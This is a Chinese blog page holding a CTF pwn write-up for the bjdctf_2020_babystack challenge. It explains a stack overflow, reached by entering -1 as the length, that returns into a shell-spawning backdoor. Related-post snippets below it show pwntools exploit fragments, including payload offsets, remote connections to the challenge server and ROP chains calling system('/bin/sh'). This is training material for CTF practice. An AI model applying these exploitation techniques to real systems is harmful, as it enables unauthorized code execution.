bjdctf_2020_babystack

最新推荐文章于 2025-02-18 22:56:03 发布
原创 最新推荐文章于 2025-02-18 22:56:03 发布 · 1.8k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#pwn #python #CTF #WriteUp #网络安全

这篇博客详细讲解了一起针对bjdctf_2020_babystack的栈溢出攻击，通过用户可控的nbytes参数，实现数据长度放大并触发backdoor函数，最终获取shell。作者提供了exploit步骤和完整代码实例，展示了如何利用checksec和IDA进行安全分析。

bjdctf_2020_babystack

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行。

放进IDA中分析：
在这里插入图片描述

  • __isoc99_scanf("%d", &nbytes);：让用户输入下次输入时接受的数据的长度。
  • read(0, &buf, (unsigned int)nbytes);：变量nbytes用户可控，存在栈溢出。

在Functions name处可发现后门函数backdoor()：
在这里插入图片描述

  • 直接返回一个shell

题目思路

  • 变量(unsigned int)nbytes用户可控，且是个无符号函数。
  • 可用-1进行绕过，这样用户可输入的数据长度就十分巨大了。
  • 接着调用backdoor()即可getshell。

步骤解析

无需

最低0.47元/天 解锁文章
BUU刷题-Pwn-bjdctf_2020_babystack
一个啥也不会的小菜鸡！
06-21 351
首先利用&nbytes变量控制溢出长度，再使用buf实现溢出就可以了。后门函数地址：backdoor：0x4006E6。
【CTF】bjdctf_2020_babystack 1
凉水的博客
01-21 1634
解题思路: 1 先反编译： undefined8 main(void) { undefined local_18 [12]; uint local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,1,0); local_c = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *
buuctf-bjdctf_2020_babystack（pwn）
最新发布
2301_81574836的博客
02-18 970
buuctf-bjdctf_2020_babystack（pwn）题解
BUUCTF pwn——bjdctf_2020_babystack
CNS-Enterprise BCC-1701-J
03-31 434
BUUCTF 做题练习
[buuctf]bjdctf_2020_babystack
逆向萌新的博客
06-19 1125
[buuctf]bjdctf_2020_babystack
bjdctf_2020_babystack【BUUCTF】
qq_41696518的博客
08-26 1126
bjdctf_2020_babystack
[BUUCTF]PWN18——bjdctf_2020_babystack
mcmuyanga的博客
09-02 4423
[BUUCTF]PWN18——bjdctf_2020_babystack 附件 步骤： 例行检查，64位，开启了nx保护 试运行一下程序 大概了解程序的执行过程后用64位ida打开，shift+f12先查看一下程序里的字符串 看到/bin/sh双击跟进，ctrl+x找到了后门函数，shell_addr=0x4006e6 根据试运行的回显，找到了输入点 一个简单的小程序，buf读入的数据长度由我们输入的nbytes来控制，所以这里可以利用它来溢出 EXP from pwn import* r=re
BUUCTF PWN bjdctf_2020_babystack
Rt1Text的博客
04-23 431
1.checksec+运行 64位/NX保护 2.64位IDA进行中 1.main函数 read()函数溢出 跟进buf,看看偏移 offset=0x10+8 但要注意一点: read(0, buf, (unsigned int)nbytes); 无符号整型,需要输入-1,进行整型溢出 接下来就是常规的操作 backdoor函数地址 3.直接上脚本 from pwn import* #p=process('./12babystack') p=remote...
bjdctf2020 babystack
pondzhang的专栏
05-08 418
from pwn import * p = process('./bjdctf_2020_babystack') p.recvuntil("length of your name:\n") p.sendline('1024') p.recvuntil("What's u name?\n") payload = 'a'*12 + p32(1024) + 'a'*8 + p64(0x000000000...
[BUUCTF-pwn]——bjdctf_2020_babystack
Y_peak的博客
02-10 450
[BUUCTF-pwn]——bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中checksec一下 , 64位的我们要小心参数小于6位的函数. IDA中看看 看到这里不用我多说了吧, So easy !!! exploit from pwn import * p = remote("node3.buuoj.cn",25355) sys = 0x04006EA p.sendlinea
CTF buuoj pwn-----第10题: bjdctf_2020_babystack
热门推荐
bing_Max的博客
09-28 2万+
思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con
BUUCTF bjdctf_2020_babystack
小白垃圾笔记2
04-30 501
有的，所以我们的利用思路就是将返回地址先覆盖为pop rdi；ret 的地址，将参数(/bin/sh)传入rdi。然后再将system的地址填充进去，这样pop rdi；执行ret的时候就会去执行system。那么pop rdi;ret 后边的内容就应该是/bin/sh的地址了。有system函数调用，并且存在/bin/sh。去找有没有pop rdi ret。小白做题笔记而已，不建议阅读。64为程序用rdi传参。read函数存在栈溢出。
[BUUCTF]PWN——bjdctf_2020_babystack
BangSen1的博客
03-29 391
例行检查，64位，开启NX保护 运行一下， 用IDA打开，检索字符串，看到了后门 跟进查看。 找到了地址，shelladdr=0x4006EA 查看主函数 接收函数长度由我们自己决定，由此可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',25232) shelladdr=0x4006EA r.sendline('100') payload='a'*(0x10+8)+p64(shelladdr) r.sendline(payload) r.
日行一PWN bjdctf_2020_babystack 尝试动态调试？
m0_57221101的博客
06-02 573
BUUCTF在线评测 (buuoj.cn)还是buu的题，这次没什么好讲的，一道送分题，但是明白了一个道理，不要太相信ida 的伪代码，那玩意的作用是帮你快速看明白题是在干什么，而不是帮你弄清楚做出这道题的细节。尤其是数据长度部分那么直接来分析首先可以看到，只有NX，和部分RELRO保护ida静态分析也是非常干脆的给出了后门程序主函数更是简单，用scanf来输入一个数字，把这个数字作为我们之后再read中的数据MAX大小。而看上面的接收参数只有0x10个大小（看伪代码此处说只有十二个，其实有16个，非常折磨
【BUUCTF】bjdctf_2020_babystack Write Up
古月浪子的博客
08-02 810
继续刷buuoj中… 看到上新题了，是当时比赛的时候做过的一道题，顺手打掉 程序只开了NX保护，读入字符数可控，直接ret2text解决 遇到的小问题是，本地环境打0x4006E6打不通，换成了0x4006EA，后来测试远程环境2个都可以，有点迷 =_= from pwn import * from LibcSearcher import * from struct import pack context.os='linux' context.arch='amd64' context.log_lev
bjdctf_2020_babyrop2
01-23
### BJD CTF 2020 BabyROP2 Writeup #### 题目概述 BabyROP2 是一道典型的 Return-Oriented Programming (ROP) 类型题目，主要考察参赛者对于 ROP 技术的理解以及利用漏洞执行任意代码的能力。 #### 利用技术分析 在该挑战中，`init` 函数提供了重要的提示信息[^4]。通过快速浏览反编译后的二进制文件代码可以确认这是一个 ret2libc 的攻击场景。具体来说： - `puts` 被用来泄露库函数的真实加载地址； - 计算目标系统调用（如 system 和 /bin/sh）相对于已知泄漏地址的位置偏移量； - 构造恶意输入数据覆盖返回地址链，从而实现控制程序流的目的； #### 实际操作步骤说明 为了成功完成此题目的解答，需要采取如下措施来构建有效的 payload 并触发远程命令执行： 1. 使用工具定位 libc 中的关键 gadget 地址； 2. 发送请求以获取服务器端实际使用的动态链接器基址； 3. 基于上述信息调整本地测试环境配置使之匹配远端状况； 4. 编写并发送精心设计的数据包给服务端，其中包含正确设置好的栈帧结构及必要的参数传递方式； ```python from pwn import * # 远程连接到CTF平台上的babyrop2服务 conn = remote('challenge.ctf.games', PORT) # ... （省略部分细节） payload = b'A' * OFFSET_TO_RETURN_ADDR \ + pack(system_addr, 'little') \ # 将system()的地址放入返回地址处 + pack(bin_sh_str_addr, 'little')\ # 参数"/bin/sh"字符串指针作为第一个参数传入system() conn.sendline(payload) ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值